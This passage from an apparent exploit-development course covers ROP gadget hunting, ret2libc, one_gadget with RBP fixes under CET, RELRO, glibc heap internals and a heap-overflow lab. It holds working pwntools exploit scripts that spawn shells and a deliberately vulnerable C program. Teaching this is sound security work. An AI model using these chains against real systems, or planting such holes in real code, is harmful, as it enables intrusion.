Using GDB/pwndbg for Gadget Search:
# In pwndbg:
pwndbg> rop --grep "pop rdi" # Find pop rdi gadgets
pwndbg> rop --grep "pop rsi" # Find pop rsi gadgets
pwndbg> rop --grep "syscall" # Find syscall gadgets
# Or search for byte patterns
pwndbg> search -x "5fc3" # Search for pop rdi; ret bytes
Automated Gadget Finding (Use After Understanding Manual)
# ROPgadget (most popular)
ROPgadget --binary vuln2
# Find specific gadgets (AMD64)
ROPgadget --binary vuln2 --only "pop|ret"
ROPgadget --binary vuln2 | grep "pop rdi"
ROPgadget --binary vuln2 | grep "pop rsi"
# Filter gadgets with bad characters
ROPgadget --binary vuln2 --badbytes "00|0a|0d"
# Include libc gadgets (many more available!)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi" | head
# CRITICAL for one_gadget: find pop rbp and pop rax in libc
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ": pop rbp ; ret"
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ": pop rax ; ret"
# Check if pop rdx exists (often missing or has extra pops!)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ": pop rdx ;" | head
# You'll likely see: "pop rdx ; pop rbx ; ret" (not clean pop rdx ; ret)
# ropper (alternative tool with better search)
ropper -f vuln2 --search "pop rdi"
ropper -f vuln2 --chain execve # May fail on modern libc!
# one_gadget (find "magic" shell gadgets in libc)
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Returns addresses in libc that spawn shell with minimal setup
# WARNING: Constraints are strict in modern glibc!
# ALWAYS check constraints and fix RBP before calling!
Gadget Priority for Modern Libc Exploitation:
pop rdi; ret- for leak stage (from binary, not libc)ret- for stack alignment (from binary)pop rbp; ret- CRITICAL for one_gadget RBP fix (from libc)pop rax; ret- for one_gadget RAX=0 constraint (from libc)pop rbx; ret/pop r12; ret- for other one_gadget constraints (from libc)
One_Gadget Constraints
[!CAUTION] Modern glibc one_gadgets have strict constraints! Buffer overflows corrupt RBP with your padding bytes (
0x4141414141414141), but one_gadgets often requirerbp-0xXXto be a writable address. This causes SIGBUS/SIGSEGV crashes.
Common one_gadget constraints:
# Example output from: one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x50 is writable
rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable ← RBP must be valid!
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
The Problem: After buffer overflow, RBP = 0x4141414141414141 (A's).
So rbp-0x50 = invalid address → SIGBUS when one_gadget tries to access it!
The Solution: Set RBP to a writable address before calling one_gadget:
# Find gadgets from libc
libc_rop = ROP(libc)
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])
# Use .bss section (always writable) for RBP
writable_addr = elf.bss() + 0x200
stage2 = b'A' * OFFSET
stage2 += p64(ret) # Stack alignment
# Fix RBP FIRST (before one_gadget)
stage2 += p64(pop_rbp[0])
stage2 += p64(writable_addr + 0x80) # RBP = valid writable address
# Then satisfy other constraints (rax=0 for many one_gadgets)
if pop_rax:
stage2 += p64(pop_rax[0])
stage2 += p64(0) # RAX = NULL
stage2 += p64(one_gadget) # Now one_gadget works!
One_Gadget Troubleshooting:
| Symptom | Cause | Fix |
|---|---|---|
| SIGBUS at one_gadget | RBP points to invalid memory | Set RBP to .bss or stack before calling |
| SIGSEGV in one_gadget | Register constraints not met | Try different one_gadget, set rax/rbx/r12=0 |
| one_gadget exists but no shell | Wrong libc version | Verify libc, recalculate offsets |
| All one_gadgets fail | Constraints too strict | Fall back to ROP execve syscall |
Why system() Fails on Modern Libc:
Modern glibc (2.34+) enables Intel CET (Control-flow Enforcement Technology):
- SHSTK (Shadow Stack): Hardware-backed return address protection
- IBT (Indirect Branch Tracking): Validates indirect jumps
checksec shows: SHSTK: Enabled, IBT: Enabled
This makes traditional system("/bin/sh") ROP chains crash. Solutions:
- Use one_gadget with proper constraints (shown above)
- Syscall directly via
execvesyscall (bypasses libc CET checks) - Disable CET when compiling test binaries:
gcc -fcf-protection=none
Gadget Quality Checklist:
- Does the gadget contain bad characters (NULL, newline)?
- Does it have unwanted side effects (clobber registers you need)?
- Is the address in a predictable location (not ASLR'd)?
- Can you chain to the next gadget (ends in
ret)?
Using pwntools ROP Correctly
[!IMPORTANT] ROP Chain Timing: You must set
libc.addressBEFORE building the ROP chain! Don't createROP([elf, libc])until you've computed the libc base from a leak.
Correct ROP Workflow (Modern Libc with one_gadget):
#!/usr/bin/env python3
#~/exploit/11.py
"""
Correct ROP chain sequencing for modern libc (glibc 2.34+)
Key insights:
1. Leak → set libc.address → THEN build stage 2
2. Use one_gadget instead of system() (CET bypass)
3. Fix RBP before calling one_gadget (buffer overflow corrupts it)
"""
from pwn import *
elf = ELF('./vuln2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = elf
# One_gadget offsets - UPDATE for your libc!
# Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
ONE_GADGETS = [0xef4ce, 0xef52b, 0x583ec, 0x583f3]
OFFSET = 72 # buffer (64) + saved RBP (8)
# ======= STAGE 1: LEAK =======
# Build leak ROP using ONLY elf gadgets (libc base unknown!)
rop1 = ROP(elf) # Only elf, not libc!
pop_rdi = rop1.find_gadget(['pop rdi', 'ret'])[0]
ret = rop1.find_gadget(['ret'])[0]
# Leak puts@got
stage1 = flat(
b'A' * OFFSET,
p64(ret),
p64(pop_rdi),
p64(elf.got['puts']),
p64(elf.plt['puts']),
p64(elf.symbols['main']),
)
p = process('./vuln2', aslr=False, env={})
p.recvuntil(b'Enter input: ')
p.sendline(stage1)
# Parse leak (adjust for your binary's output format)
p.recvuntil(b'You entered: ')
p.recvuntil(b'\n')
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
# ======= SET LIBC BASE (Critical!) =======
libc.address = leaked_puts - libc.symbols['puts']
log.success(f"libc base: {hex(libc.address)}")
# Verify alignment (should end in 000)
if libc.address & 0xfff != 0:
log.warning("Libc base not page-aligned - leak may be wrong!")
# ======= STAGE 2: ONE_GADGET (works on modern libc!) =======
libc_rop = ROP(libc)
# Find gadgets to satisfy one_gadget constraints
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])
# Writable address for RBP (one_gadget needs rbp-0x50 writable)
writable = elf.bss() + 0x200
# Try second one_gadget (0xef52b) - needs rax=NULL, rbp valid
one_gadget = libc.address + ONE_GADGETS[1]
p.recvuntil(b'Enter input: ')
stage2 = b'A' * OFFSET
stage2 += p64(ret) # Stack alignment
# Fix RBP FIRST (critical for one_gadget!)
if pop_rbp:
stage2 += p64(pop_rbp[0])
stage2 += p64(writable + 0x80) # rbp = valid writable addr
# Set rax = 0 (for one_gadget constraint)
if pop_rax:
stage2 += p64(pop_rax[0])
stage2 += p64(0) # rax = NULL
stage2 += p64(one_gadget) # Shell!
p.sendline(stage2)
log.success("Shell incoming!")
p.interactive()
Traditional Workflow (Older libc without CET):
# Only works on libc WITHOUT CET (SHSTK/IBT disabled)
# Check: checksec /lib/.../libc.so.6 → SHSTK: Disabled
# After setting libc.address...
rop2 = ROP([elf, libc])
rop2.call('system', [next(libc.search(b'/bin/sh\x00'))])
stage2 = flat(
b'A' * OFFSET,
p64(ret), # Stack alignment
rop2.chain(),
)
Common Mistakes:
# WRONG: Building ROP with libc before setting libc.address
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP([elf, libc]) # libc.address is 0 here!
rop.call('system', [...]) # Addresses will be wrong!
# WRONG: Using rop.call() for functions not in PLT
rop = ROP(elf)
rop.call('system', [...]) # ERROR: system not in elf.plt!
# WRONG: Expecting rop.call('execve', ...) to work on modern libc
libc_rop = ROP(libc)
libc_rop.call('execve', [binsh, 0, 0]) # May fail: "Could not satisfy setRegisters"
# Modern libc lacks clean pop rdx gadgets!
# WRONG: Calling one_gadget without fixing RBP first
stage2 = b'A' * OFFSET + p64(one_gadget) # SIGBUS! RBP = 0x4141414141414141
# WRONG: Using system() on modern libc with CET
stage2 = b'A' * OFFSET + p64(pop_rdi) + p64(binsh) + p64(system)
# Crashes due to SHSTK/IBT even with correct alignment!
# RIGHT: Manual gadget chain for stage 1 (before libc base known)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
payload = p64(pop_rdi) + p64(arg) + p64(elf.plt['puts'])
# RIGHT: Use one_gadget for stage 2 on modern libc (with RBP fix!)
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])
stage2 = b'A' * OFFSET
stage2 += p64(ret) # Alignment
stage2 += p64(pop_rbp[0])
stage2 += p64(elf.bss() + 0x280) # Fix RBP first!
stage2 += p64(pop_rax[0])
stage2 += p64(0) # RAX = NULL for constraint
stage2 += p64(one_gadget) # Now it works!
Quick Checklist for Modern Libc ROP:
- Stage 1 uses only binary gadgets (not libc)
- Leak parsed correctly (check for extra newlines/bytes)
-
libc.addressset before building stage 2 - Libc base is page-aligned (ends in
000) -
retgadget for 16-byte stack alignment - RBP set to writable address (
.bss + offset) - RAX/RBX/R12 set to 0 if one_gadget requires it
- Correct one_gadget offset for your libc version
Debugging ROP Chains
ROP exploits often fail silently. Here's how to systematically debug them.
Step 1: Print the Chain (Verify BEFORE Sending)
#~/exploit/12.py
from pwn import *
elf = ELF('./vuln2')
context.binary = elf
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
# Print planned chain
log.info(f"pop rdi; ret @ {hex(pop_rdi)}")
log.info(f"ret @ {hex(ret)}")
# Build and dump
chain = flat(
p64(ret),
p64(pop_rdi),
p64(0x404040), # Example address
p64(0x401234), # Example call target
)
print(f"Chain length: {len(chain)} bytes")
print(f"Chain hex: {chain.hex()}")
Step 2: Visualize Stack Layout (AMD64)
# Before sending, visualize what the stack will look like
#~/exploit/13.py
from pwn import *
offset = 72 # AMD64: typically 64 buffer + 8 saved RBP
payload = b"A" * offset
# Add ROP chain manually for visibility (AMD64)
payload += p64(0x40101a) # ret (alignment)
payload += p64(0x401234) # pop rdi; ret (gadget 1)
payload += p64(0x404040) # /bin/sh (value for rdi)
payload += p64(0x401456) # system (call target)
# Print hex for verification
print("Payload hex:")
print(payload.hex())
print(f"\nPayload length: {len(payload)} bytes")
print(f"Expected: {offset} + {len(payload)-offset} = {len(payload)}")
Step 3: Debug in GDB (AMD64)
# Method 1: Breakpoint at vulnerable function's ret
gdb ./vuln2
(gdb) disas vulnerable
# Find the ret instruction address
(gdb) break *vulnerable+<offset_to_ret>
(gdb) run $(python3 -c "...")
# At the breakpoint (right before ret executes):
(gdb) x/20gx $rsp # View stack (g = 8-byte, AMD64) - your ROP chain!
(gdb) stepi # Single step through each gadget
# Method 2: Use pwntools with manual GDB attach
from pwn import *
context.binary = ELF('./vuln2')
# aslr=False for learning, env={} for consistent stack
p = process('./vuln2', aslr=False, env={})
# Print PID and pause for GDB attach
log.info(f"Process PID: {p.pid}")
log.info(f"Attach GDB: gdb -p {p.pid}")
input("Press Enter after attaching GDB and setting breakpoints...")
payload = b"A" * 72 + p64(0x40101a) + p64(0x401234) + p64(0x404040) + p64(0x401456)
p.sendline(payload)
p.interactive()
In a second terminal, attach GDB:
gdb -p <PID>
(gdb) break *vulnerable+0x42 # Break at ret instruction
(gdb) continue
# Press Enter in first terminal to send payload
# Then in GDB:
(gdb) x/20gx $rsp # View ROP chain on stack
(gdb) si # Step through each gadget
Step 4: Trace Each Gadget (AMD64)
# In pwndbg, trace execution through your chain
pwndbg> break *0x401234 # First gadget (pop rdi; ret)
pwndbg> continue
# Now at first gadget
pwndbg> x/gx $rsp # Value that will be popped (8 bytes)
pwndbg> si # Execute pop rdi
pwndbg> info registers rdi # Verify rdi now has expected value
pwndbg> si # Execute ret (should go to next gadget)
pwndbg> x/i $rip # Verify we're at expected gadget
Common ROP Debugging Issues (AMD64):
| Symptom | Cause | Fix |
|---|---|---|
| Crash before first gadget | Wrong offset | Re-verify with cyclic pattern (8-byte!) |
| First gadget runs, then crash | Bad second address | Check stack alignment, verify addr |
| "Illegal instruction" | Jumped to data, not code | Verify gadget address is correct |
Crash in system() (movaps) | AMD64 stack alignment! | Add ret gadget before call |
system() crashes (CET) | Modern libc has SHSTK/IBT | Use one_gadget instead of system() |
| SIGBUS in one_gadget | RBP corrupted by overflow | Set RBP to .bss before one_gadget |
system() runs but no shell | /bin/sh addr wrong | Re-find string after setting libc.address |
| Works locally, fails remote | Different libc version | Use libc database, leak to confirm |
Stack Alignment Fix (AMD64):
#~/exploit/14.py
# Problem: system() crashes with SIGSEGV in movaps
# Solution: Add ret gadget for 16-byte alignment
from pwn import *
elf = ELF('./vuln2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = elf
rop = ROP(elf)
# These addresses come from leaking libc base (see ret2libc section)
# For local testing with ASLR disabled:
# Find the Base in GDB Run the binary with GDB and start it, but break immediately so the libraries load.
# gdb ./vuln2
# Inside GDB:
# start
# vmmap libc
# info proc mappings
# Read the Output You will see a list of memory ranges. Look for the first entry associated with libc.so.6.
#0x00007ffff7dc2000 0x00007ffff7f83000 r-xp /lib/x86_64-linux-gnu/libc.so.6
libc.address = 0x7ffff7c00000 # Example base - find yours with GDB or p.libs()
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh\x00'))
# Find a simple 'ret' gadget for alignment
ret = rop.find_gadget(['ret'])[0]
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
# Add alignment before the call
payload = flat(
b'A' * 72,
p64(ret), # ← Stack alignment fix!
p64(pop_rdi),
p64(binsh_addr),
p64(system_addr),
)
RELRO (Relocation Read-Only) Explained
RELRO affects GOT overwrite attacks:
| RELRO Level | GOT Writable? | PLT Behavior | Exploitation Impact |
|---|---|---|---|
| No RELRO | Yes (always) | Lazy binding | GOT overwrite works |
| Partial RELRO | Yes (GOT) | Lazy binding | GOT overwrite works |
| Full RELRO | No | Immediate binding | GOT is read-only! |
Checking RELRO:
# Using checksec
checksec --file=./vuln2
# Using readelf
readelf -l ./vuln2 | grep GNU_RELRO
readelf -d ./vuln2 | grep BIND_NOW
# BIND_NOW present = Full RELRO
Compiling for Different RELRO Levels:
# Partial RELRO (default) - GOT overwrite WORKS
make disabled SOURCE=vuln2.c BINARY=vuln_partial_relro
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2.c -o vuln_partial_relro
# No RELRO - GOT overwrite WORKS
make training-relro-off SOURCE=vuln2.c BINARY=vuln_no_relro
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wl,-z,norelro vuln2.c -o vuln_no_relro
# Full RELRO - GOT overwrite FAILS!
make training-full-relro SOURCE=vuln2.c BINARY=vuln_full_relro
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wl,-z,relro,-z,now vuln2.c -o vuln_full_relro
Full RELRO Bypass Options:
- Overwrite
__malloc_hookor__free_hook(removed in glibc 2.34+) - Overwrite return addresses (stack)
- Overwrite function pointers in .data/.bss
- Use FSOP (File Stream Oriented Programming)
Practical Exercise
Exercise: Libc Leak + ret2libc
-
Compile target with NX (AMD64):
make disabled SOURCE=vuln2.c BINARY=vuln2 #gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2.c -o vuln2 -
Find gadgets:
ROPgadget --binary ./vuln2 | grep "pop rdi" ROPgadget --binary ./vuln2 | grep ": ret$" -
Write leak exploit:
- Stage 1: ROP to
puts(puts@got), return tomain - Parse leaked puts address
- Compute
libc.address = leak - libc.symbols['puts']
- Stage 1: ROP to
-
Write final exploit:
- Stage 2:
pop rdi; ret+/bin/sh+system - Get shell
- Stage 2:
Task 2: Stack Alignment Practice
- Create exploit WITHOUT ret alignment gadget
- Observe crash in libc (movaps instruction)
- Add ret gadget and verify fix
Task 3: Gadget Hunting
-
Find gadgets manually:
objdump -d vuln2 | grep -B2 "ret" -
Find in libc:
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi" | head
Success Criteria:
- Libc leak working and parsed correctly
- Libc base calculated correctly (ends in 000)
- Stack alignment understood and applied
- Shell obtained via ret2libc
- Can explain each step of the exploit
- Write exploit:
- Build ret2libc payload
- Call system("/bin/sh")
- Get shell
Exercise: Function chaining
-
Chain system() and exit():
- Call
system("whoami") - Then call
exit(0) - Observe clean exit
- Call
-
Read flag file:
- Create
flag.txtwith secret - Chain to call
system("cat flag.txt") - Display contents
- Create
Exercise: Simple ROP (AMD64 syscall)
-
Find gadgets:
ROPgadget --binary vuln1_nx --only "pop|ret|syscall" > gadgets.txt -
Build ROP chain manually:
- Set RAX to 59 (execve on AMD64)
- Set RDI to address of "/bin/sh"
- Set RSI and RDX to 0
- Execute
syscallinstruction
-
Test ROP exploit:
- Should get shell without any shellcode
Success Criteria:
- ret2libc exploit works
- Function chaining successful
- ROP chain executes
- Shell obtained in all three tasks
Week 3 Integration Exercise: Patch Diff -> Find Bug -> Exploit Old Build
Reuse the Week 3 patch-diffing workflow on a controlled Day 2-style target.
Goal: build a vulnerable and a patched version of the same program, diff them, then exploit only the vulnerable build.
-
Make two versions of the source:
vuln2_vuln.c: contains the bug (e.g., unbounded read / missing length check)vuln2_patched.c: fix the bug (e.g., bounded read or explicit length validation)
-
Compile both with identical flags:
gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2_vuln.c -o vuln2_vuln gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2_patched.c -o vuln2_patched -
Patch diff:
ghidriff ./vuln2_vuln ./vuln2_patched -o vuln2_diff -
Validation:
- Your Day 2 exploit should work on
vuln2_vuln. - It should fail (or at least not gain control) on
vuln2_patched.
- Your Day 2 exploit should work on
Success Criteria:
- You can point to the exact function/basic-block changed by the patch
- You can explain why the patch removes the exploit primitive
Key Takeaways
- NX prevents shellcode execution: Need alternative techniques
- ret2libc reuses existing code: Call libc functions
- ROP chains gadgets: Build complex operations
- Stack layout is critical: Function arguments must be correct
- pwntools simplifies ROP: Automates gadget finding and chaining
- Modern libc has CET:
system()ROP may fail, use one_gadget instead - one_gadget needs RBP fix: Buffer overflows corrupt RBP, set it to .bss first
pop rdxis rare: Modern libc lacks clean gadgets, use one_gadget
Discussion Questions
- Why is ret2libc effective even with NX enabled?
- What are the limitations of ret2libc vs ROP?
- How would ASLR complicate ret2libc exploitation?
- What types of gadgets are most useful for ROP chains?
Day 3: Heap Exploitation Fundamentals
- Goal: Understand heap memory management and exploit heap overflows.
- Activities:
- Reading:
- Online Resources:
- Tool Setup:
- how2heap repository
- Heap visualization tools
- Exercise:
- Exploit heap overflow to corrupt metadata
- Achieve arbitrary write primitive
Context: libWebP Heap Overflow (CVE-2023-4863)
- In Week 1, we discussed the libWebP Heap Buffer Overflow that affected billions of devices.
- That vulnerability involved writing past the end of a heap buffer, corrupting adjacent metadata.
- Today, we'll learn how to intentionally trigger and exploit such conditions to gain code execution.
Deliverables
- Binary:
vuln_heapbuilt and verified withchecksec - Primitive proof: function pointer overwrite demonstrated (redirect to
admin_function) - Exploit:
exploit_heap_fp.py(or equivalent) spawns a shell reliably - Notes: heap layout diagram + exact overwrite length and why
read()enables null bytes in payloads
Heap vs Stack
Differences:
| Feature | Stack | Heap |
|---|---|---|
| Allocation | Automatic (local variables) | Manual (malloc/new) |
| Lifetime | Function scope | Explicit free |
| Size | Fixed per thread (~8MB) | Dynamic, grows as needed |
| Speed | Very fast | Slower (allocator overhead) |
| Layout | LIFO (Last In First Out) | Complex (bins, chunks) |
| Overflow Impact | Overwrites return address | Overwrites metadata |
Heap Allocator Basics (glibc malloc)
This section provides a detailed walkthrough of how glibc's malloc works. Understanding these internals is essential for heap exploitation—don't skip it.
[!WARNING] Which glibc version? Run
ldd --version. This course uses glibc 2.31-2.35 examples. Many classic techniques (unlink, fastbin dup) are mitigated in 2.35+. Check how2heap for version-specific techniques.
Chunk Structure Deep Dive
Chunk Structure:
struct malloc_chunk {
size_t prev_size; /* Size of previous chunk (if free) */
size_t size; /* Size of this chunk (includes metadata) */
/* Only for free chunks: */
struct malloc_chunk *fd; /* Forward pointer */
struct malloc_chunk *bk; /* Backward pointer */
/* For large free chunks only (>512 bytes): */
struct malloc_chunk *fd_nextsize;
struct malloc_chunk *bk_nextsize;
/* User data starts here */
};
Size Field Flags (critical for exploitation):
/* Low 3 bits of size field contain flags */
#define PREV_INUSE 0x1 /* Previous chunk is allocated */
#define IS_MMAPPED 0x2 /* Chunk was mmap'd (not from heap) */
#define NON_MAIN_ARENA 0x4 /* Chunk belongs to non-main arena */
/* Real size = size & ~0x7 */
Visual Representation:
Allocated chunk:
┌────────────────┐ ← chunk address
│ prev_size │ (only valid if PREV_INUSE=0)
├────────────────┤
│ size | PMA │ (size + 3 flag bits)
malloc() returns ├────────────────┤ ← user pointer (chunk + 0x10)
here →│ │
│ User Data │
│ │
└────────────────┘
Free chunk (in bins):
┌────────────────┐
│ prev_size │ (size of prev chunk for coalescing)
├────────────────┤
│ size | P A │ (PREV_INUSE usually 0 after free)
├────────────────┤
│ fd (forward) │ ← Points to next chunk in bin
├────────────────┤
│ bk (backward)│ ← Points to prev chunk in bin
├────────────────┤
│ (old user data)│ ← May still contain sensitive data!
└────────────────┘
Understanding malloc() Step by Step
What happens when you call malloc(24)?
┌─────────────────────────────────────────────────────────────────┐
│ Step 1: Size Calculation │
│ ─────────────────────────────────────────────────────────────── │
│ Request: 24 bytes │
│ + 16 bytes metadata (prev_size + size on 64-bit) │
│ + Alignment to 16 bytes │
│ = Actual chunk size: 48 bytes (0x30) │
│ │
│ Minimum chunk = 32 bytes (0x20) on 64-bit │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 2: Check Tcache (glibc 2.26+) │
│ ─────────────────────────────────────────────────────────────── │
│ tcache_bins[size_idx] → Is there a cached chunk? │
│ │
│ If YES: Pop from tcache (LIFO), return immediately │
│ If NO: Continue to fastbins │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 3: Check Fastbins (if size ≤ 0x80 / ~160 bytes) │
│ ─────────────────────────────────────────────────────────────── │
│ fastbins[size_idx] → Is there a free chunk? │
│ │
│ If YES: Pop from fastbin (LIFO), return │
│ If NO: Check small/unsorted/large bins │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 4: Check Bins (Unsorted → Small → Large) │
│ ─────────────────────────────────────────────────────────────── │
│ Search for best-fit chunk in bins │
│ May split larger chunks if needed │
│ │
│ If found: Return chunk │
│ If not: Extend heap with sbrk()/mmap() │
└─────────────────────────────────────────────────────────────────┘
Understanding free() Step by Step
What happens when you call free(ptr)?
┌─────────────────────────────────────────────────────────────────┐
│ Step 1: Validate Pointer │
│ ─────────────────────────────────────────────────────────────── │
│ - Is ptr aligned? │
│ - Is size reasonable? │
│ - Check for double-free (tcache key in 2.29+) │
│ │
│ If validation fails: abort() or SIGABRT │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 2: Try Tcache First (glibc 2.26+) │
│ ─────────────────────────────────────────────────────────────── │
│ tcache_bins[size_idx] count < 7? │
│ │
│ If YES: Push to tcache (LIFO), done │
│ If NO: Continue to fastbin/regular bins │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 3: Fastbin or Consolidation │
│ ─────────────────────────────────────────────────────────────── │
│ Small chunk (≤0x80)? → Push to fastbin (no coalescing) │
│ Larger chunk? → Try to coalesce with neighbors │
│ → Put in unsorted bin │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 4: Coalescing (Consolidation) │
│ ─────────────────────────────────────────────────────────────── │
│ Check PREV_INUSE flag: │
│ If 0: Previous chunk is free → merge backward │
│ │
│ Check next chunk's PREV_INUSE flag: │
│ If 0: Next chunk is free → merge forward │
│ │
│ Update size field of merged chunk │
│ This is where unlink() gets called! (exploit target) │
└─────────────────────────────────────────────────────────────────┘
Bin Organization (Visual)
HEAP BINS OVERVIEW
┌─────────────────────────────────────────────────────────────────┐
│ │
│ TCACHE (glibc 2.26+) - Per-thread, fastest │
│ ═══════════════════════════════════════ │
│ tcache_bins[0] → 0x20 → 0x20 → 0x20 → NULL (max 7 per bin) │
│ tcache_bins[1] → 0x30 → 0x30 → NULL │
│ tcache_bins[2] → NULL │
│ ... → (64 bins total, sizes 0x20-0x410) │
│ │
│ FASTBINS - Small chunks, no coalescing │
│ ════════════════════════════════════════ │
│ fastbins[0] → 0x20 → 0x20 → NULL (singly linked, LIFO) │
│ fastbins[1] → 0x30 → NULL │
│ ... → (up to 0x80 bytes) │
│ │
│ UNSORTED BIN - Recently freed, temp storage │
│ ═══════════════════════════════════════════ │
│ unsorted_bin ⟷ chunk ⟷ chunk ⟷ (circular doubly-linked) │
│ │
│ SMALL BINS - Exact size match (62 bins) │
│ ═══════════════════════════════════════ │
│ small_bins[2] ⟷ 0x20 ⟷ 0x20 ⟷ (doubly linked, FIFO) │
│ small_bins[3] ⟷ 0x30 ⟷ (doubly linked) │
│ ... → (sizes 0x20 - 0x3F0) │
│ │
│ LARGE BINS - Size ranges, sorted (63 bins) │
│ ═══════════════════════════════════════ │
│ large_bins[0] ⟷ 0x400 ⟷ 0x420 ⟷ (sorted by size) │
│ ... → (sizes 0x400+) │
│ │
└─────────────────────────────────────────────────────────────────┘
Debugging Heap with pwndbg/GEF
Essential Commands (Use these constantly!):
# In pwndbg:
pwndbg> heap # Overview of heap state
pwndbg> bins # Show all bins (tcache, fast, unsorted, etc.)
pwndbg> vis_heap_chunks # Visual heap layout (VERY useful!)
pwndbg> malloc_chunk <addr> # Inspect specific chunk
# In GEF:
gef> heap chunks # List all chunks
gef> heap bins # Show bin state
gef> heap arenas # Show arena info
# Watchpoints for debugging
pwndbg> watch *(size_t*)<chunk_addr> # Break when chunk modified
Example Debugging Session:
cd ~/exploit
# Create test program
cat > heap_debug.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
int main() {
char *a = malloc(0x20);
char *b = malloc(0x20);
char *c = malloc(0x20);
printf("a=%p b=%p c=%p\n", a, b, c);
free(a);
free(b);
free(c);
char *d = malloc(0x20); // What happens here?
printf("d=%p\n", d);
return 0;
}
EOF
gcc -g -fcf-protection=none heap_debug.c -o heap_debug
# Debug
gdb ./heap_debug
pwndbg> break 9
pwndbg> break 15
pwndbg> break 17
pwndbg> run
# At breakpoint 1 (after malloc calls):
pwndbg> heap # Show heap info
pwndbg> vis # Visualize heap chunks (or 'heap chunks')
# Continue to breakpoint 2 (after free calls):
pwndbg> c
pwndbg> bins # Show tcache/fastbins
# tcache shows: 0x30 [3]: 0x... → 0x... → 0x...
# Continue to breakpoint 3 (after final malloc):
pwndbg> c
# d gets the LAST freed chunk (LIFO from tcache)
Key Insight for Exploitation:
┌─────────────────────────────────────────────────────────────────┐
│ LIFO Behavior = Predictable Allocation Order │
│ ─────────────────────────────────────────────────────────────── │
│ │
│ If you can: │
│ 1. Free a chunk │
│ 2. Corrupt the freed chunk's fd pointer │
│ 3. malloc() twice │
│ │
│ Then: │
│ - First malloc returns the freed chunk │
│ - Second malloc returns YOUR CONTROLLED ADDRESS! │
│ │
│ This is the basis for: tcache poisoning, fastbin dup │
└─────────────────────────────────────────────────────────────────┘
Heap Overflow Vulnerability
Vulnerable Program (vuln_heap.c):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct {
char name[32];
void (*print_func)(char *);
} User;
void print_user(char *name) {
printf("User: %s\n", name);
}
void admin_function(char *name) {
printf("Admin access granted to %s\n", name);
// Note: system() works here because we're calling it directly via
// function pointer, not via ROP. CET only blocks ROP-style calls.
system("/bin/sh");
}
int main(int argc, char **argv) {
// Allocate two structs
User *user1 = malloc(sizeof(User));
User *user2 = malloc(sizeof(User));
// Initialize
user1->print_func = print_user;
user2->print_func = print_user;
// Vulnerable: read() allows null bytes and has no bounds check!
printf("Enter name: ");
fflush(stdout);
read(0, user1->name, 128); // Buffer is only 32 bytes!
// Call function pointers
user1->print_func(user1->name);
user2->print_func(user2->name);
free(user1);
free(user2);
return 0;
}
Compile (AMD64):
make disabled SOURCE=vuln_heap.c BINARY=vuln_heap
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln_heap.c -o vuln_heap
Vulnerability Analysis:
Heap layout after allocations (AMD64):
┌─────────────────────────┐
│ Chunk metadata (user1) │ (16 bytes on AMD64)
├─────────────────────────┤
│ user1->name[32] │ ← strcpy writes here
├─────────────────────────┤
│ user1->print_func (8B) │ ← Can be overwritten!
├─────────────────────────┤
│ Chunk metadata (user2) │
├─────────────────────────┤
│ user2->name[32] │
├─────────────────────────┤
│ user2->print_func (8B) │
└─────────────────────────┘
Overflow scenario:
- read() into user1->name with 40+ bytes
- Overwrites user1->print_func
- Can redirect execution!
- Note: read() allows null bytes (unlike strcpy)!
Exploiting Function Pointer Overwrite
Exploit Strategy:
- Overflow
user1->name(32 bytes) - Overwrite
user1->print_funcwith address ofadmin_function - When
user1->print_func()is called, get shell
Find admin_function address:
objdump -d vuln_heap | grep admin_function
# Output: 00000000004011a0 <admin_function>:
# Or in GDB:
gdb ./vuln_heap
(gdb) info functions admin
Exploit (AMD64):
